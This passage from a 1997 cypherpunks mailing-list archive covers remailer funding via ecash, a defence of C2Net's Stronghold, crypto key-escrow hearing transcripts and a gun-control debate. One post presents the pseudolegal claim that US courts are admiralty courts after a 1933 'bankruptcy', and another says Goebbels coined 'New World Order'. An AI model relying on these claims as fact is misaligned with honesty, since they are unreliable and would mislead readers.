to <admin@anon.efga.org>. For general information and discussion about
anonymous remailers, send a message with "subscribe" in the body to
<remailer-politics-request@server1.efga.org>.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 05:10:17 +0800
To: cypherpunks@cyberpass.net
Subject: Remailers and ecash
Message-ID: <5e155060a3b43cba398de593edc98bd6@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

An anonymous brother wrote:
>Given: We want more (reliable) remailers
>       But someone has to pay for them
>
>Conjecture: New remailers can be financed by charging the users a fee per
>            message to use the remailers.
>
>   If a remailer charges a fee, the number of users will be reduced to
>   those who are willing to pay the fee.
>
>   When the number of users is reduced, the potential for traffic analysis
>   is increased, which reduces the value of the remailer.
>
>   If the value of the remailer is reduced, it will not be worth the cost
>   to many users, and those users will seek a less expensive, higher
>   traffic remailer.
>
>   Thus, the commercial remailer is forced to lower its prices until it is
>   unprofitable.
>
>Conclusion: Pay-per-message commecial remailers are not economically viable.

You know how the remailer operators do all their work now for free
because they believe in it?  And how all this software has been
written and given away because people believe in it?  Maybe some other
people will help pay for the maintenance of the remailers because they
believe it is the right thing to do.

Especially since it need not be forever.

And, I have to believe that out of the millions of well heeled
Internet users, there are enough privacy oriented people to pay for a
small remailer network, at the very least.  We just have to get the
ball rolling, that's all.

> - Pay a flat fee per month for remailer access

This is isormorphic to using ecash if you want to keep the messages of
each user disassociated from each other.

> - Everyone a remailer.  Remailers only accept messages from other
>   remailers.  To use remailers you must run a remailer.

I don't grow my own wheat, grind it up, and then make my own bread.  I
also prefer not to run a remailer.

> - Pay for access to an anonymous message pool

Interesting!

> - Sell cpu cycles in exchange for remailer access

If we use ecash, you can sell anything in exchange for remailer access.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 05:26:00 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <306a8be32556b32fa66d425f7b89bcfd@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

My brother VerityMonger wrote:
>Fascism hadn't died, it has just gone underground and crept into
>every facet of life through the corporate and government power
>mongers.  The government and the mass media are working the citizens
>like dumb fish on a hook, who are still trying to swallow the
>worm. There is a New World Order on the way, and it isn't going to be
>any prettier than the last time it was tried.

No doubt VerityMonger knows this, but many others may not: "New World
Order" was a phrase originally coined by Josef Goebbels.

Interestingly, the term "European Community" arose out of German
industrial discussion groups in ~1944 who were trying to find a way to
salvage the German position at the time.  One idea was to make peace
and attempt to establish a "European Community".

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Fri, 3 Oct 1997 01:30:16 +0800
To: "S. M. Halloran" <cypherpunks@cyberpass.net>
Subject: Re: Mr. Policeman is Your Friend
In-Reply-To: <199710020639.IAA23181@ankara.duzen.com.tr>
Message-ID: <19971002.171414@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

on or about 971002:0941 
    "S. M. Halloran" <mitch@duzen.com.tr> purported to expostulate:

    [snip - part of original text follows at the end of new message]

    the US initiated "Civil Rights" legislation at the
    Federal level to deal with the abuse of a persons
    liberty. It has been used many ways, but its original
    intent was to be able to charge, convict, and punish
    racist miscreants in the South for murdering Civil
    Rights activists who would walk scott free when tried
    for murder as white juries would not convict them
    (twelve "good" men unanimously). The statue was
    effectively retroactive. 

    another perfect example, although I personally think
    poorly applied as I knew the Sergeant who was scapegoated
    when they convicted the animal who deserved it:  The
    Rodney King case.  A suburban white jury not-guiltied
    the four officers, except one "hung" count on the
    animal. The Feds stepped in and charged them with Civil
    Rights violations.

    for a hilarious exposition on impartial juries, read
    Mark Twain's Virginia City writings. 

    The animal and the Sergeant were convicted; the judge
    sentenced them to 30 months or something; the Feds
    appealed since it was less than the guidelines, and the
    appeals court sent it back for resentencing; the judge
    repeated the sentence; by this time they were free
    anyway.  The argument on the sentence is probably still
    going on... <g>

    however, specifically to your question of an additive
    sentence for a person operating under the colour of law:
    no --except, the prosecutor could file additional 
    charges of 'operating under the colour of law' --and the
    judge could specify that the sentence for that violation
    is to run after the others which would extend the time
    (often referred to as "running wild").

    The remedy is there; the difficulty is in getting it
    applied unless the case is notorious. 

    and, it provides for penalties ranging all the way to 
    the death penalty.  a very comprehensive, catch-all law
    which is rarely applied equally.  

    another great American legal innovation which is even 
    more of travesty: RICO --Racketeering Influenced 
    Corrupt Organizations.  it only takes 3 in the 
    conspiracy to invoke it, and by itself it has a 
    mandatory 20 years no parole; if it is 6 or more people,
    it is life without parole. 

    common law no longer exists in the US. the courts are 
    all Admiralty Courts where the only habeus corpus you
    have is what the court might gratuitously grant you.
    FDR sold the country into legal bankruptcy on 9 Mar 33
    pledging all Americans and their property as collateral.
    Bankruptcy is a contract matter, and as such is not 
    subject to common law.  Americans live by being licensed
    to exist --the license starts with the social security 
    number which is now required to be issued at birth.

 --
 "When I die, please cast my ashes upon Bill Gates. 
     For once, let him clean up after me! " 
 ______________________________________________________________________
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0 

+I have a question:  has any jurisdiction (local, state, federal) in 
+the U.S. resolved the hyprocrisy--maybe better to phrase "double 
+standard"--wherein citizens who commit crimes against persons who 
+perform duties under the color and badge of authority--namely the 
+police--are charged with additional offenses specific for crimes 
+against govt officers--but govt officers who commit crimes against 
+citizens while in the performance of duties under the color and badge 
+of authority would suffer the same penalty as citizens who commit 
+crimes against "just" citizens?   --

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Cynthia Brown <cynthb@sonetis.com>
Date: Fri, 3 Oct 1997 05:31:00 +0800
To: "S. M. Halloran" <mitch@duzen.com.tr>
Subject: Re: "Show me an example of terrorists using the Internet or cryp
In-Reply-To: <199710020617.IAA23092@ankara.duzen.com.tr>
Message-ID: <Pine.BSD/.3.91.971002133210.9198B-100000@mrburns.iosphere.net>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 2 Oct 1997, S. M. Halloran wrote:

> Painting America with a rather broad brush, aren't you?  I never went 
> to a school--and I attended public schools for ALL of my 
> education--which had a metal detector.  But comparing America and 
> Canada is pretty much apples and oranges again.  Do you [in Canada] 
> really have our ethnic mix?

Not identical, but we have large groups from various parts of the world,
and we are by no means ethnically uniform.  The two most numerous, of
French and British Isles descent, have very different cultures; Vancouver 
has large communities from Asia; etc. etc. And my brush is no broader than 
the "all government workers are lazy, corrupt little power-trippers"
mantra that appears here so often, uncontested. 

> America's violence problem is not one bit related to guns everywhere 
> in the street.  There are much deeper problems, including distrust 
> between ethnic groups.  The O.J.Simpson was a real eye-opener on 
> black-white relations, for example, and I think the Native Americans 
> have yet really to speak about the shitty way they have been treated 
> over the years.  By the way, have Canada's European descendants come 
> to proper terms with its native American neighbors?

Granted that the guns are a symptom and not the underlying problem.  
However, having them readily available makes it that much more likely 
that a person will do something regrettable in a fit of rage (or just 
plain annoyance).

Our history is not squeaky clean either, but at least we're trying to 
settle things by negotiation and referenda instead of violence.

> Now you're talking!  Don't ever repent for thinking clearly.  But do 
> keep in mind that not all people who own guns and wear red plaid 
> Pendletons and sport scraggly beards are the neoFascists of tomorrow. 

Agreed.  There are also dedicated, hard-working, community-oriented 
policemen out there. (I'm probably going to get flamed for daring to 
say that, but tough.)

Cynthia
===============================================================
		   Cynthia H. Brown, P.Eng.
E-mail:     cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <nobody@REPLAY.COM>
Date: Thu, 2 Oct 1997 23:42:21 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Stronghold
Message-ID: <199710021515.RAA14546@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



C2Net was wrong to censor the cypherpunks list in the guise of moderation.
It was wrong to send threatening letters to people who claimed its
products were weak.  The whole moderation/censorship experiment was a
terrible mistake.  The actions taken by C2Net were completely unjustified.

At the same time, it is dishonest to say that its products have
backdoors or are weak.  There is no evidence whatsoever that this
is the case.

It may stretch the intellects of some cypherpunks beyond the breaking
point to hold these two views about matters at the same time.  In the
black and white world where some cypherpunks live, a company which
tries to prevent criticism is evil, hence it must be fraudulent as well.
More mature list readers will recognize that a company or a person can
be wrong in some actions while being right in other ways.

The burden of proof in claiming that there is a weakness in someone's
security product is on those making the claim.  Compare the unfounded
statements by Vulis with the carefully documented breaks of weak
software by Ian Goldberg, David Wagner, John Kelsey, and Bruce Schneier.
What if Goldberg and Wagner had claimed that Netscape's RNG seeding was
weak, without providing any more evidence than that claim?  What if
Schneier et al had broken cellular phone encryption without backing it
up?  They would have been justifiably ignored.

If anyone really does believe that C2Net's products have backdoors or
weaknesses, why don't they present them?  Either they want people to keep
using C2Net's supposedly broken products, which reflects badly on them,
or they want people to stop but they are unable to present any evidence
of these purported weaknesses.

When Vulis or anyone else claims Stronghold is broken, ask him why he is
presenting his claims in a form which will cause people to keep using
this "broken" software.  Does he want people to have weak encryption?
Is he in favor of backdoors?  If not, he would surely present evidence
of the weaknesses, if there is any.  Make Vulis explain his motivations
when he makes these claims.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 3 Oct 1997 05:51:45 +0800
To: cypherpunks@toad.com
Subject: Crypto-continuation in Washington: FBI/DoJ keep up the pressure
Message-ID: <v03007804b059bf795b9a@[168.161.105.141]>
MIME-Version: 1.0
Content-Type: text/plain



Crypto is hot in Washington. Don't think the battle's over; it's just
beginning:

* This afternoon when the Senate Intelligence committee met to consider a
new CIA deputy director, Sen. Bob Kerrey said "there's a real urgency" to
get an encryption bill passed. (Presumably, that would be his bill, the
"Key Escrow Infrastructure" McCain-Kerrey/S.909.) Anyone still think that
the Senate will do the right thing on crypto? Think again...

* Last week Janet Reno talked at her weekly press conference about
balancing law enforcement rights with privacy rights -- through mandatory
domestic key escrow.

* Yesterday Louis Freeh spoke at length before the House International
Relations committee about the spread of nuclear weapons... and reminded
committee members about the problems the FBI has with nonescrowed crypto...

* Sen. Jon "Mandatory Domestic Key Escrow" Kyl said on Sunday that the
Clinton administration's export controls on crypto were *not tight
enough*...

More info:

  http://cgi.pathfinder.com/netly/opinion/0,1042,1385,00.html
  http://www.jya.com/declan8.htm

-Declan

****************

	HEARING OF THE SENATE INTELLIGENCE COMMITTEE
	NOMINATION OF LT.-GEN. JOHN A. GORDON
	TO BE DEPUTY DIRECTOR OF THE CENTRAL INTELLIGENCE AGENCY
	CHAIRMAN:  SENATOR RICHARD SHELBY (R-AL)
	106 DIRKSEN SENATE OFFICE BUILDING
	WASHINGTON, DC
	2:00 P.M. EDT
	WEDNESDAY, OCTOBER 1, 1997

SEN. KERREY:  I hope no doubt that you've heard of and perhaps had the
opportunity to read the recommendations made by Senators Helms and
Moynihan, but I think they're excellent.  It's an excellent examination of,
first, the need in some instances to classify, as well as the need to
examine that classification system.
	It's not really a question, General Gordon.  I think it's
imperative that, on the issue of encryption, that the president exert some
authority and try to pull together the congressional leaders and say, "We
need a secure public network."  There's counter-intelligence concerns.
There's national security issues here at stake, obviously, balanced against
the concerns for civil liberties and the concern for commercial interests
and the need to develop.
	But there's lots of action up here on the Hill, both in the House
and the Senate, in half a dozen committees or eight or nine committees, or
Lord knows how many altogether, more than I realized existed.  And I think
there's a real urgency to get something passed both for the private sector,
so they can have some stability, but also on the public-sector side, so we
can protect the nation's interests.
	MR. GORDON:  Senator, I have not delved that deeply into the
encryption issue.  I certainly take your point on this point.  But I do
know that if the Senate does confirm me that that will be squarely on my
plate.

****************

	ATTORNEY GENERAL JANET RENO'S WEEKLY MEDIA AVAILABILITY
	U.S. DEPARTMENT OF JUSTICE
	WASHINGTON, DC
	THURSDAY, SEPTEMBER 26, 1997

	Q     No, wait -
	ATTY GEN. RENO:  You've got to be quicker than that.
	Q     (Inaudible) - yes, ma'am.  Director Freeh and Director
Constantine both have complained that U.S.-made encryption devices are
giving the drug cartels an advantage whereby interdiction becomes impaired.
Would you favor, as Mr. Freeh does, some kind of giving of the keys to
these devices to the FBI and DEA?
	ATTY GEN. RENO:  I don't think that Director Freeh favors giving
keys to the FBI and to the DEA.
	Q     No?
	ATTY GEN. RENO:  What Director Freeh has talked about is what we
have today - if someone is going to tap a phone, they don't just go in and
tap the phone, if they're going to do it legally.  What law enforcement
does is it develops probable cause to believe that the telephone is being
used to commit a crime and that to overhear would provide evidence of a
crime.  That is submitted to a judge, both in federal court and in many
states courts where wiretapping is authorized.  The judge reviews the
sufficiency of the affidavits in support of the petition and enters an
order directing the telephone company to provide that opportunity.
	What Director Freeh is hoping to achieve is the same thing with
respect to encrypted products; so that the court would direct that the key
be provided to the telecommunications system, or the other system, in order
to decrypt the encoded message.
	What we're trying - what the administration is trying to do is to
recognize that there are two important interests at stake here. One is the
law enforcement interest, which is so vital with respect to terrorists,
with respect to being able to decrypt the drug dealer's computer when I - I
can get a search warrant now and seize his black book and I can read his
black book or decipher what he's talking about.  But if he can encrypt the
information on his computer, that will be a significant obstacle to law
enforcement.
	At the same time, the whole purpose of encryption with modern
telecommunication is to provide for the privacy interest, of commercial
interest of the average citizen.  And so I think it's important that we
work together to ensure the law enforcement capacity and ensure that the
present capacity to get court-ordered authorities for surveillance are
continued and are made real, while at the same time ensuring privacy.
	Q     So you're saying that the phone company would have the
responsibility?  Do they have the capability of encrypting?
	ATTY GEN. RENO:  The phone company doesn't have it.  There would be
a system whereby a key would be provided through third parties or
otherwise.  But this is something that we need to work together on to
ensure that law enforcement interests are protected and that privacy
interests are protected as well.


****************

	HEARING OF THE HOUSE INTERNATIONAL RELATIONS COMMITTEE
	SUBJECT:  ORGANIZED CRIME
	CHAIRED BY:  REPRESENTATIVE BEN GILMAN (R-NY)
	LOUIS FREEH, DIRECTOR, FEDERAL BUREAU OF INVESTIGATION
	2172 RAYBURN HOUSE OFFICE BUILDING
	WEDNESDAY, OCTOBER 1, 1997
	10:00 A.M EDT

	REP.     :  Following up on what Mr. Hyde said on your need to
fight international crime and terrorism, what do you need, as an agency
director and for your agency, in terms of specifics to wage a fight that
you can win?
	MR. FREEH:  Yes, sir.  As I mentioned in my statement, I think we
need it on three levels.  We need the permanent and minimal FBI presence
overseas to develop the kinds of relationships that Dr. de Gennaro and I
have had now for 18 years.
	We have asked for, and the Congress approved last year, in August
of 1996, a plan to expand the FBI's Ligat (sp) program from approximately
23 to 43 Ligats.  That would call for, by the end of 1999, 146 special
agents in 42 different countries with 116 support employees.  That's a
total of 262 people.  As I mentioned, the plan was submitted last year.  It
wasn't just an FBI plan.  It was jointly submitted by the State Department
and the attorney general.  And we've asked for funding in the 1998 and 1999
budgets to reach that level.
	We've also asked for a continuation of the training.  As I
mentioned, we've been able to train thousands of police officers around the
world.  The benefit of that training is two-fold.  First of all, we can
give them what they need most of all, which are the basic tools to conduct
their own investigations.
	Just as importantly, we develop through those relationships, as Dr.
de Gennaro described it, the cop-to-cop contacts and relationships.  So an
FBI agent or a DEA agent can pick up the phone and speak to a police
commander in Uzbekistan or Kazakhstan, if that's the place where we need to
do our work.  So the training is a very important part of the whole program.
	And again, and finally, we need the technological tools to do our
work.  We have to be able to communicate rapidly and securely.  We have to
deal with encryption.  We have to deal with cyber-crime.  And those are all
part of a larger technological challenge which we're trying to meet.

[...]

	REP. LINDSEY GRAHAM  (R-SC):  Thank you, John.
	Director Freeh, appreciate your testimony.  It's been quite
riveting, actually.  One of the briefing papers we have indicates that the
American public, in a recent poll, whatever you want to take polls worth,
say that 70 percent of the American people who were surveyed found it
likely that the United States could be attacked by terrorist groups within
the next decade using smuggled nuclear devices.  If you were asked that,
what category would you be in?
	MR. FREEH:  I think it's a threat and a possibility that should
occupy our highest priority.  I think we've seen attacks certainly in
Oklahoma, in New York City.  We know that many of the state sponsors of
terror, including Iran, are rapidly and very aggressively acquiring nuclear
technology, both in terms of warheads and launching devices. We know that
many of the state sponsors of terrorism, particularly Iran, sponsor and
fund and control Hezbollah groups, including groups which have connections
and operations in the United States.
	So the links, although I don't think I've seen them in a documented
form, clearly suggest that if a terrorist is willing to use a truck bomb to
blow up a building with thousands of people at risk, the accomplishment of
the particular objective would not be changed or influenced by the
opportunity to use a much more devastating (nuclear?) or biological or
chemical agent.
	So I think we have to take the possibility extremely seriously and
we have to take drastic steps to try to prevent and detect that.

****************

[This thanks to John Young. --Declan]

  Remarks by Senator Jon Kyl at the First International Conservative
                      Congress--September 28, 1997

[...]

     The Clinton Administration pursues a foreign policy without
     clear goals or the will to act decisively and is squandering
     the national security means left to it by a dozen years of
     Republican presidency. It emphasizes hope over reality and
     reliance on arms control agreements like the Comprehensive
     Test Ban Treaty (CTBT), the Anti-Ballistic Missile (ABM)
     Treaty, and the Chemical Weapons Convention (CWC) over a
     stronger defense. And political benefit over national
     security, as in its decisions to cave in to the concerns of
     some in industry in irresponsibly relaxing export controls on
     key items like encryption technology and supercomputers.

****************




-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Brian B. Riley" <brianbr@together.net>
Date: Fri, 3 Oct 1997 06:02:48 +0800
To: "Mark Rogaski" <wendigo@ne-wendigo.jabberwock.org>
Subject: Re: Forwarded mail...
Message-ID: <199710022139.RAA31541@mx02.together.net>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

On 10/2/97 11:36 AM, Mark Rogaski (wendigo@ne-wendigo.jabberwock.org) 
passed this wisdom:

>An entity claiming to be Brian B. Riley wrote:
>
>:: ... nothing personal, but why is it people keep deluding 
>themselves : with the idea that they can shoot to wound. You cannot 
>know what a
>
>Because that's what all the cops on TV do. Most people see 
>non-lethal leg shots on TV all the time, so they assume that it's 
>probable. Even worse was "The A-Team" where hundreds of rounds were 
>fired, but no one ever got hurt. It was intended to reduce the 
>amount of violence on TV, but (in my opinion) only made gunplay 
>seem like a safe recreational activity.  

 ... oh, I well know the answer to the question ... just waxing a
little bit rhetorical ... I would seriously like to be there to look
into they eyes of the yahoos who so bithely espouse dropping the
hammer on a person right after they have watched the life drain from
someones eyes the for very first time and see just how well they feel
and how cocky and cavalier they still are. I wouldn't wish that burden
on anyone. You just can have no idea unless you have been there. We
send men off to war and then get all upset when so many come back with
there brains on crooked ... the sheeple have no idea what they have
done to these men (and now women) !!!

-----BEGIN PGP SIGNATURE-----
Version: PGP for Personal Privacy 5.0
Charset: noconv

iQA/AwUBNDQS3sdZgC62U/gIEQLMfACdEDkNNtzbeccxGJGcuvuUkp810IoAoJZV
0HbGxZ0ogu2gzzGNIYhilxM+
=8vrU
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Brian B. Riley --> http://www.macconnect.com/~brianbr
 For my PGP Keys  <mailto:brianbr@together.net?subject=Get%20PGP%20Key>   
        

  "...error reading WinOS. (A)bort, (R)etry, (M)acintosh?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Fri, 3 Oct 1997 06:15:31 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <49688cba207d1bb86d63bc14117aab4e@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Alex Le Heux wrote:
>On 2 Oct 1997 00:24:27 +0200, Anonymous (sic) <anon@anon.efga.org> wrote:
>>Alex Le Heux wrote:
>>>Maybe you haven't noticed, but seen on 2000 year scales, the entire
>>>world is constantly in a state of war. Europe isn't special in that
>>>regard.
>>
>>I guess the conclusion, then, is that gun control is bad for the
>>whole world, not just Europe.
>
>Eh, no. The conclusion would be that gun control or no gun control
>does not affect the amount of war in the world at all.

It certainly affect civilians!  Most of the people who die in wars are
not in armies.  They are in villages, towns, and cities.  Roughly 50
million people died in World War II.  Perhaps 15 million (numbers
approximate) were soldiers.  Being unarmed is often unlucky.

>>>And even if I had my AR15 then, it wouldn't help me a lot against
>>>guided missiles and mortar fire.
>>
>>It's harder to police a hostile population which is well armed.
>
>True, but imho this will only result in more people getting killed.

It can result in that, certainly.  But somehow the next time your
country is overrun, I doubt you would take your weapons (assuming you
had any) and give them to the invader in the hope that this will
increase the likelihood of your survival.

>Any invader would not beat about the bush in the US, they'll make
>very clear that they'll have nothing to do with citicens defending
>their own homes. They'll just blow up the home from a distance.

Ah, if they know which home to blow up they will.  But they won't.
(Unless they get their hands on the government gun registration
records.  Then they'll know which homes to go to.)

>>>And anyway, "to defend yourself in a war" is not one of the usual
>>>arguments against gun control.
>>
>>The popularity of an argument can be independent of its worth.
>>
>>"To defend yourself in general" is commonly used.  War, oppressive
>>government, and political turbulence are the most likely situations
>>in which people need their weapons, even in the United States.
>
>Bullshit. People in the US rarely use their weapons against oppressive
>governments or political turbulence.

Sometimes we do.  Study the Black Panthers.

You raise a good point, though.  I believe that widespread gun
ownership acts as a dampener on conflict.  People discover that they
really can respect Group X enough to cut some kind of deal rather than
herding them into concentration camps.

The dynamic here is probably complicated.  It isn't as simple as "Oh,
we don't want to go after them, they have guns!"  That underlies the
process, but usually it translates into respect.  (Look at how people
feel about a "Mafia Don" versus "some greaseball working in a
restaurant".  Most people despise the man in the restaurant, even
though when presented in neutral terms they claim to respect his
behavior.  What's the difference between these two people?  It isn't
that one is the nicer guy.)

Should things progress to the point where armed troops are attempting
to haul people out of their homes, the availability of firearms acts
to drawn attention to what is happening.  The people committing the
acts are getting very strong signals that Something Is Wrong.  The
cost of collecting people increases dramatically when they are armed.

In Berlin the assembly area for Jewish people was originally somewhere
in the center of the city where other civilians could see what was
going on.  This caused discomfort and a certain amount of unrest
amongst the population, so they moved the assembly area to the
outskirts.  But, there would be no denying the implications of
automatic weapons fire all over the city.

Would this guarantee survival?  No, it would not.  But, in my opinion,
it would increase the odds.  You can imagine it going wrong: "We won't
be safe until we get rid of all those Jews and they damned assault
rifles!"  But, probably it would go the right way.

>Most guns that are used against another person there are used to
>commit crime or to defend against those armed criminals.

- From day to day this may be true.  But we are talking about those
exceptional circumstances that arise every few decades, especially in
countries where the peasants are not allowed to own weapons.

And, you might want to take a look at the numbers.  How many people
have been murdered outright by their own governments in the 20th
century?  (This number excludes wars, which probably isn't
reasonable.)

It clocks in at well over 100 million.  (Anybody have the actual
number?)  It takes a lot of bar shootings to get up to those kinds of
numbers.

>>I have to confess that I am surprised at the level of resentment
>>among the members of various Europeans countries feel towards other
>>European countries.  For example, the Germans don't like the Dutch
>>because when they visit they are treated badly by, among others, the
>>police.  The Dutch don't like the Germans because, well, they got to
>>know them a little too well in the 1940s and they are nursing the
>>grudge.
>>
>>With that sort of situation, anything can happen and it can happen
>>quickly, even if things seem mellow right now.  And these little
>>resentments and jealousies are felt between far more groups in
>>Europe than just between the Dutchies and the Germans.
>
>Excuse me? Have you ever even been in Europe? In the last 50 years I
>mean? You are so full of shit here, it's incredible. I hereby invite
>you to come over, and stay a while. I have a comfy couch.

Thank you for your kind offer.  If things go to hell here in the U.S.
in the next couple of years I may take you up on it.

Yes, I have been in Europe.  I drew my conclusions from talking to and
observing many Europeans.  It wasn't what I expected, but it caused me
to understand European history a little better.

In the U.S., even when we are ragging on another ethnic group or
another country, there is always this feeling in the air that is sort
of naughty and low class to be doing it.  In Europe, I did not sense
this at all.  (That's not all bad.  It's not hypocritical.)

People had all sorts of interesting views about people in other
countries.  I was particularly shocked by European anti-semitism.  You
can find people in the U.S. who will talk about "those New York Jew
bankers" and the like, but I hadn't really seen hardcore anti-semitism
before.  By hardcore, I mean people who see all Jewish people as
belonging to the same nationality, regardless of their passport.  And,
they don't think of this as a particularly remarkable thing.  They see
it as just one of those obvious facts that it would be foolish to
deny.

Jewish friends who travel in Europe have had repeated experiences
where people want to treat them as Jews, rather than as Americans of
the Jewish religion, which is what they are.

>Anyone in Europe can go anywhere else, and be treated reasonably to
>very well. We in Europe have put the crap of WWII behind us a long
>time ago. Something that you haven't managed to do apparently.
>
>The Dutch are absolutely not 'nursing a grudge'. Come and visit.
>You'll see.

I did see.  It was most interesting.  I had a long conversation with a
Dutch man once.  He was very pleasant, civilized, and intelligent.
Then he started telling me about the Germans and how pushy they were,
how they always butt in line, etc. etc.  I've heard similar things
from other Dutch people.  I personally witnessed a (very minor)
incident.

I have some German friends who were foully treated by the police in
the Netherlands, too.  These people are decent, polite, professional
people.  I have no doubt they did nothing whatsoever to provoke this
treatment.  (By "no doubt" I mean that we are talking about the most
civilized people I have ever known.)  But, they will never return to
the Netherlands and I don't blame them.

You might want to try a little experiment.  Are you capable of
appearing to be German?  If you can get the style and the body
language down, try coming into the Netherlands as a German visitor and
see what kinds of response you get.  If you can really fool people
into thinking you are German you will probably learn something
interesting about your country.  (It might be hard to pull this off,
though.)

>>Let's also take a look at the Dutch performance during their
>>occupation.  While there certainly were many courageous Dutch people
>>who helped refugees (at great personal risk, to say the least), and
>>there were many courageous Dutch people who were in the resistance,
>>there were also many Dutch people who did not perform so well.  Not
>>only were a large number of Jewish people turned in by Dutch
>>informers, but there were even Dutch SS units.
>
>You have a nerve. You, coming from a country where people are still
>regularly killed in the name of racism, tell me this?!

Now, now, now.  Don't get all excited.  I said it was nice country,
didn't I?  I said some bad things about my own country, didn't I?  The
fact is, I think if you randomly selected people from the Netherlands,
in general you would do pretty well.

However, let's not deny what happened historically.  Even nice
appearing people do bad things.  And they aren't always Nazis, either.

As for racism, Europe is not without racism.  It's hard to quantify it
and hard to compare, but I suspect to a very great extent, America is
seen as being racist because we discuss it, feel guilty about it, and
try (sort of) to do something about it.  (Never mind all of the ethnic
groups in the U.S. that find they are able to live together
harmoniously, even though their ancestors in Europe were continuously
at each other's throats.)

I've had two American friends who were beaten in Europe in racial
incidents.  One was white, one was black.  One of them spent time in
the hospital.  Both crossed the racial line all the time in the U.S.
without incident.

>>I basically think well of the Netherlands and its people, but it is
>>important to recognize that certain unpleasant characteristics exist
>>in a large portion of the population of even a nice country.  It is
>>unlucky to pretend that these characteristics can never be expressed.
>
>We absolutely not pretending that this can never be expressed. In
>fact, it's being expressed every day. We have our neo-nazi political
>parties too. It's just that we here have learned our lesson, and very
>few people actually listen to them.

This may be true, but it's hard to tell.  The climate is not conducive
right now, either.  What would happen if it suddenly became clear that
anti-semitism would promote one's career?  I think you would find them
coming out of the woodwork again.

>>What would have happened if the citizens of El Salvador were
>>adequately armed?  One thing you wouldn't see is a death squad going
>>into a neighborhood to kick down some innocent's door and murder him
>>or his family.  At least, you wouldn't see it twice.
>
>Sure you would. It just would be that more bloody. The fact that
>someone is armed has never stopped anyone from attacking. You just
>make sure that your shot is the first and hits.

What are people in death squads like?  Believe it or not, they are not
so different from ourselves.  They also have fears.  People do, in
fact, act on their fear from time to time.  If you think that while
you are busy "shooting first" at some guy that maybe his neighbors
won't mind blowing your head off for it, you are going to behave more
cautiously.

At the very least, it will cut down your nightly "take" by at least
70%.  That's a big deal if you are part of the surviving group.

>>People who are well armed are less likely to become pawns, victims,
>>or slaves.  That is desirable.
>
>They are just more likely to become dead.

If you were faced with somebody you believed would enslave you, would
you throw away your weapon in the hopes your life would be spared?  I
doubt this very much.

>>Incidentally, the consistent support the U.S. government has shown
>>for murderous or even genocidal governments is of great concern to
>>those of us who live in the U.S.  It is unlikely that these tactics
>>won't be used here were there a serious political struggle and a
>>disarmed population.
>
>- From over here it appears that the majority of Americans doesn't
>really give a shit. Correct me if I'm wrong.

It was hypothetical.  I don't know if such a serious political
struggle will arise in the near future.

If most Americans don't give a damn, it will be very unlucky for
troublemakers like the cypherpunks.  In fact, though, most Americans
do give a damn.  Look at the great effort the government has to go
through to get Americans into wars.  It is a source of endless
frustration to the elite that the population won't just hop into wars.

Wilson and Roosevelt were both elected on peace platforms before
getting us into the World Wars.

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Blanc <blancw@cnw.com>
Date: Fri, 3 Oct 1997 09:34:37 +0800
To: cypherpunks@cyberpass.net
Subject: Re: "Show me an example of terrorists using the Internet or crypto"
Message-ID: <3.0.32.19971002182138.006b0274@cnw.com>
MIME-Version: 1.0
Content-Type: text/plain




Individuals need ways to defend themselves from the physical aggression of
others.   One of the reasons why people associate into societies, cities,
and governments, is for the advantages of protection which can be achieved
by large numbers of people acting in concert against their common enemy.
They also insitute police forces and national defense agencies for the same
reason:  defense against physical aggression.

Everyone on the planet has enemies, and anyone can become, or behave
essentially as, an enemy - even someone's physically stronger kid brother
who decides to hit them with a stone because of talking on the phone too
long, even a former lover/husband who decides to kill their girlfriend/wife
out of jealousy.  

Stalkers, thieves, rapists, drug addicts, perverts, etc., or just real
animals from the animal kingdom, strike at the most inopportune times, when
there are no officially sanctioned police forces around to be of help.
But even if there were security guards constantly available at every street
corner or planted inside one's house, the principle is the same:  people
are physially vulnerable and need defense from those who would take
advantage of them, who would by weaken them and do physical harm.

Guns are imperfect tools and humans are often imperfect fools in the use of
